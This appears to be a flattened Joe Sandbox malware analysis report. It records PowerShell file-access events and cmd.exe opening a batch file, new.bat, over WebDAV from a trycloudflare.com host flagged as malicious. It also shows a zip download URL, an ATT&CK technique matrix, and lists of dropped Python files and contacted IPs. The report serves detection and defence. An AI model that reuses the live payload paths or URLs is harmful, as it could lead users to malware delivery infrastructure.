Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.3208.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation

Stealing of Sensitive Information

barindex
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
Source: C:\Windows\System32\cmd.exeFile opened: \\verizon-tops-sports-gba.trycloudflare.com@SSL\DavWWWRoot\new.bat
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid Accounts2
PowerShell
1
Scripting
111
Process Injection
11
Masquerading
OS Credential Dumping1
Network Share Discovery
Remote ServicesData from Local System2
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/Job1
Registry Run Keys / Startup Folder
1
Registry Run Keys / Startup Folder
31
Virtualization/Sandbox Evasion
LSASS Memory1
Security Software Discovery
Remote Desktop ProtocolData from Removable Media1
Non-Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAt1
DLL Side-Loading
1
DLL Side-Loading
111
Process Injection
Security Account Manager1
Process Discovery
SMB/Windows Admin SharesData from Network Shared Drive2
Application Layer Protocol
Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
Rundll32
NTDS31
Virtualization/Sandbox Evasion
Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
DLL Side-Loading
LSA Secrets1
Application Window Discovery
SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC ScriptsSteganographyCached Domain Credentials21
System Information Discovery
VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
https://starurileromaniei.ro/e_Statement89304.zip0%Avira URL Cloudsafe
SourceDetectionScannerLabelLink
C:\Users\user\Downloads\Python\Launcher\py.exe0%ReversingLabs
C:\Users\user\Downloads\Python\Launcher\pyshellext.amd64.dll0%ReversingLabs
C:\Users\user\Downloads\Python\Launcher\pyw.exe0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_asyncio.pyd0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_bz2.pyd0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_ctypes.pyd0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\libcrypto-3.dll0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\libffi-8.dll0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\libssl-3.dll0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\pyexpat.pyd0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\select.pyd0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\sqlite3.dll0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\tcl86t.dll0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\tk86t.dll0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\unicodedata.pyd0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\winsound.pyd0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\zlib1.dll0%ReversingLabs
C:\Users\user\Downloads\Python\Python312\Doc\html\_downloads\6dc1f3f4f0e6ca13cb42ddf4d6cbc8af\tzinfo_examples.py0%ReversingLabs
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
verizon-tops-sports-gba.trycloudflare.com
104.16.231.132
truetrue
    unknown
    plus.l.google.com
    172.217.18.14
    truefalse
      unknown
      play.google.com
      142.250.184.238
      truefalse
        unknown
        www3.l.google.com
        216.58.212.174
        truefalse
          unknown
          www.google.com
          142.250.186.164
          truefalse
            unknown
            starurileromaniei.ro
            188.241.222.211
            truefalse
              unknown
              ogs.google.com
              unknown
              unknownfalse
                unknown
                apis.google.com
                unknown
                unknownfalse
                  unknown
                  NameMaliciousAntivirus DetectionReputation
                  https://ogs.google.com/widget/app/so?awwd=1&gm3=1&origin=chrome-untrusted%3A%2F%2Fnew-tab-page&origin=chrome%3A%2F%2Fnew-tab-page&cn=app&pid=1&spid=243&hl=enfalse
                    unknown
                    • No. of IPs < 25%
                    • 25% < No. of IPs < 50%
                    • 50% < No. of IPs < 75%
                    • 75% < No. of IPs
                    IPDomainCountryFlagASNASN NameMalicious
                    142.250.186.35
                    unknownUnited States
                    15169GOOGLEUSfalse
                    1.1.1.1
                    unknownAustralia
                    13335CLOUDFLARENETUSfalse
                    108.177.15.84
                    unknownUnited States
                    15169GOOGLEUSfalse
                    216.58.212.131
                    unknownUnited States
                    15169GOOGLEUSfalse
                    188.241.222.211
                    starurileromaniei.roRomania
                    5588GTSCEGTSCentralEuropeAntelGermanyCZfalse
                    172.217.18.14
                    plus.l.google.comUnited States
                    15169GOOGLEUSfalse
                    142.250.186.174
                    unknownUnited States
                    15169GOOGLEUSfalse
                    104.16.231.132
                    verizon-tops-sports-gba.trycloudflare.comUnited States
                    13335CLOUDFLARENETUStrue
                    239.255.255.250
                    unknownReserved
                    unknownunknownfalse
                    142.250.185.174
                    unknownUnited States
                    15169GOOGLEUSfalse
                    142.250.185.142
                    unknownUnited States
                    15169GOOGLEUSfalse
                    142.250.186.164
                    www.google.comUnited States
                    15169GOOGLEUSfalse
                    142.250.186.131
                    unknownUnited States
                    15169GOOGLEUSfalse
                    184.28.90.27
                    unknownUnited States
                    16625AKAMAI-ASUSfalse
                    142.250.184.227
                    unknownUnited States
                    15169GOOGLEUSfalse
                    142.250.184.238
                    play.google.comUnited States
                    15169GOOGLEUSfalse
                    216.58.212.174
                    www3.l.google.comUnited States
                    15169GOOGLEUSfalse
                    142.250.186.99
                    unknownUnited States
                    15169GOOGLEUSfalse
                    IP
                    192.168.2.16
                    192.168.2.4
                    192.168.2.5
                    127.0.0.1
                    Joe Sandbox version:40.0.0 Tourmaline
                    Analysis ID:1465638
